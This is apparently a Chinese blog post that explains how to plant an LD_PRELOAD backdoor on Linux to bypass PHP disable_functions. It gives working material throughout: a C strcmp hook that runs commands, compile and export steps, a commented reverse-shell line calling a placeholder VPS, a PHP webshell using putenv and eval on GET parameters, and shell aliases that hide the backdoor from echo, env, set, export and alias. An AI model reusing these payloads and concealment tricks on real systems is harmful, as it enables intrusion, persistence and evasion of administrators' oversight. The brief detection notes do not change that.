LD_PRELOAD 后门 | bypass disable_functions

LD_PRELOAD 后门



### 用途

主要是用于绕过 disable_functions ,本质上是加载顺序的问题,    

动态链接库加载过程中会先加载 LD_PRELOAD 指向的变量,这样我们可以利用这个先加载来进行劫持正常的函数和命令

只要劫持系统命令调用的一个函数就可以在劫持函数任意执行其它函数从而绕过disable_functions



劫持命令调用函数的步骤:

- 在内部重写函数,将原有的函数覆盖
- 将原函数指针赋值给一个变量
- 触发重写的函数
- 在重写函数中执行原函数
- 照常返回正常值(保证命令的正常执行)

### 漏洞原理

- Linux ELF 共享库加载顺序:

  LD_PRELOAD ->

   /etc/ld.so.preload ->

   DT_RPATH(编译指定) ->

  LD_LIBRARY_PATH ->

  [/etc/ld.so.conf] ->

  /lib -> /usr/lib

- /etc/ld.so.nohwcap 这个文件如果存在,可以禁止加载优化的库,不需要写任何内容 如果存在此文件,则动态链接程序将加载库的非优化版本,即使CPU支持优化版本也是如此。



### 劫持命令流程

使用readelf -Ws查看命令使用了哪些库函数, 选取一个函数劫持,再使用strace查看函数的参数写劫持函数,

我们在这里使用命令经常用到的字符串比较函数strcmp()

同时可以看到vi是使用了strcmp函数的

图片.png



strcmp_hook.c

c<br />#include &lt;stdlib.h&gt;<br />#include &lt;string.h&gt;<br />int strcmp(const char *s1, const char *s2) {<br />&nbsp;&nbsp;&nbsp; unsetenv("LD_PRELOAD");<br />&nbsp;&nbsp;&nbsp; system("ifconfig");<br />&nbsp;&nbsp; &nbsp;return 0;<br />}<br />//值得注意的一点是我们要在劫持函数里面要使用unsetenv删除环境变量LD_PRELOAD,否则会导致下面system函数打开一个新进程执行的命令又再次使用到strcmp函数, 进入一个死循环, 而且我们写的劫持函数返回的结果是异常的, 就会导致服务器崩掉(已经试过了,,,特别是执行的命令本来就有错误的情况下)<br />//system("bash -c 'bash -i &gt;&amp; /dev/tcp/vps/port 0&gt;&amp;1");<br />

1. 编译

   gcc -shared -fPIC&nbsp; /test/strcmp_hook.c -o hack.so -ldl

2. 设置 LD_PRELOAD

   export LD_PRELOAD=/test/hack.so

3. 运行命令触发覆盖函数

   vi

4. 检查是否存在 LD_PRELOAD 后门的时候可以直接运行echo $LD_PRELOAD

可以看到完成变量设置之后执行vi就会执行ifconfig命令

图片.png

遇到个奇怪的问题:

在完成以上操作后发现执行which命令也会运行ifconfig命令很明显就是执行了劫持函数strcmp, 但是使用strace which查看which命令的运行过程又看不到strcmp函数的执行记录, strace不显示strcmp的执行记录猜测可能是下面两个原因(以后知道了的话再回来填坑)

- which的运行过程中执行的函数间接执行了strcmp函数
- which的运行过程中开启了一个新进程执行其他命令,而这个命令就调用了strcmp

### 后门加固(使用alias)

通过使用alias给命令定义别名,重新定义命令的执行,将暴露后门的内容给过滤掉再输出即可

- echo

alias echo='func(){ echo $* | sed "s!/hack.so! !g";};func'

- env

alias env='func(){ env $* | grep -v "/hack.so";};func'

- set

alias set='func(){ set $* | grep -v "/hack.so";};func'

- export

alias export='func(){ export $* | grep -v "/hack.so";};func'

- unalias

<br />alias unalias='func(){ if [ $# != 0 ]; then if [ $* != "echo" ]&amp;&amp;[ $* != "env" ]&amp;&amp;[ $* != "set" ]&amp;&amp;[ $* != "export" ]&amp;&amp;[ $* != "alias" ]&amp;&amp;[ $* != "unalias" ]; then unalias $*;else echo "-bash: unalias: ${*}: not found";fi;else echo "unalias: usage: unalias [-a] name [name ...]";fi;};func'<br />

- alias

alias alias='func(){ alias "$@" | grep -v unalias | grep -v hook.so;};func'



### 注意

- 使用 readonly 命令设置的环境变量不可修改
- 在有SUID,SGID存在的文件是无视 LD_PRELOAD 的,无法用 :LD_PRELOAD 劫持
- 获取命令的源码 git clone git://git.sv.gnu.org/coreutils
- man <command> 可以获得命令的详细使用方法
- 并不是只要命令使用到劫持函数就会运行c代码中的命令执行payload(原因已经在下面pwd劫持失败原因埋坑了)

whoami和pwd都执行了puts()函数,但whoami会执行payload而pwd命令就不会执行payload

whoami 命令和 pwd 命令都调用了 puts 函数,使用 ltrace 进行查看的时候还都实际调用执行了,但是 pwd 不会触发 payload

设置好后门后使用 ltrace 追踪 whoami 和 pwd 命令,此时,两个都可以执行 payload

ltrace 追踪 ssh、id 等命令的时候不会触发 payload

### 劫持失败原因

虽然我进行函数劫持的过程中没遇到这个问题,不过也在这里记录一下吧,以后如果遇到劫持失败的情况也可以做一个可能性参考情况

里面是作者ltrace 显示pwd有执行put函数但是运行pwd却没有劫持成功, 但运行/bin/pwd/usr/bin/pwd却成功执行代码的分析原因

这个发现过程看起来有点精彩:https://cloud.tencent.com/developer/article/1835020

总的来说就是:

执行pwd不会执行payload

执行/bin/pwd/usr/bin/pwd就会执行payload

 cd pwd 这些内置命令执行的时候不会加载外部共享库,也就是不会去加载我们的 hook.so ,更不会劫持 puts 函数



其实 bash 怕像cd pwd 这种命令 /bin 目录下的二进制文件在不同系统中存在差异,所以自己集成了cd pwd 等命令

bash 内置命令一般有两个原因,一种是为了兼容性,为了不被外部程序干扰,比如 cd pwd 命令;另一种是为了执行的效率,bash内置更加高效一些



所以 cd pwd 内置命令执行的时候不会加载外部共享库,也就是不会去加载我们的 hook.so ,更不会劫持 puts 函数

我们可以通过    type -a &lt;command&gt;的命令判断给出的指令是内部指令还是外部指令



可以看到我们直接使用的pwd是一个内置函数,所以就不会加载外部共享库进而触发覆盖的puts()函数,但是/bin/pwd/usr/bin/pwd是外部函数可以加载外部共享库进而通过覆盖的puts()执行payload

我自己看到的

按照上面文章说法劫持失败原因是因为pwd命令默认执行的是内置命令,但是我自己使用which 查看我当前默认使用的pwd命令就是/usr/bin/pwd, 所以劫持函数正常运行

图片.png



### 一些其他命令

查看命令调用的库函数

bash<br />readelf -Ws /usr/bin/ls<br />#查看ls命令调用了哪些库函数<br />strace /usr/bin/ls<br /># 更推荐用这个查找命令的调用函数明细,因为这里还可以看到函数执行的参数方便我们重写函数进行劫持(否则参数类型对不上的话不会执行我们重写的hook函数)<br />strace -f php function.php 2&gt;&amp;1 | grep -A2 -B2 execve<br />#查看php文件执行后调用了哪些系统命令,然后再使用readelf查看调用的系统命令使用了哪些库函数,对其进行劫持<br /># 可以在php文件里面只执行一个函数,然后我们就可以看到该函数执行了哪些系统命令<br />

查看环境变量的方式:

<br />echo $LD_PRELOAD <br />env<br />set <br />export #值得注意的是export设置的环境变量只在当前shell有效<br /># 例如在xshell一个窗口设置好LD_PRELOAD变量后再打开一个窗口输出LD_PRELOAD变量显示为空<br />cat /proc/$PID/environ<br />

删除环境变量:

bash<br />unset LD_PRELOAD<br />



### ### 一些其它

index.php

php<br />&lt;?php<br />&nbsp;&nbsp; &nbsp;putenv("$_GET[0]=$_GET[1]");<br />&nbsp;&nbsp; &nbsp;echo `vi`;<br />

payload: ?0=LD_PRELOAD&amp;1=/test/hack.so

图片.png



因为在执行bash -c "export LD_PRELOAD=ifconfig"会执行里面的ifconfig命令然后把执行结果赋给LD_PRELOAD,所以想了能不能直接通过putenv函数执行代码,但是测试后发现实际上执行的效果是会直接带着/将原字符串原封不动赋给LD_PRELOAD,相当于执行了export LD_PRELOAD='`ifconfig`'

如果我们在系统执行export LD_PRELOAD="`ifconfig`"可以发现``里面的命令还是可以被执行

图片.png

图片.png

图片.png

php<br />&lt;?pph<br />&nbsp;&nbsp;&nbsp; echo `env`;<br />&nbsp;&nbsp; &nbsp;eval($_GET[0]);<br />

图片.png





参考文章:

https://cloud.tencent.com/developer/article/1683272

https://cloud.tencent.com/developer/article/1835020

posted @ 2022-04-25 12:11  h0cksr  阅读(298)  评论(0编辑  收藏  举报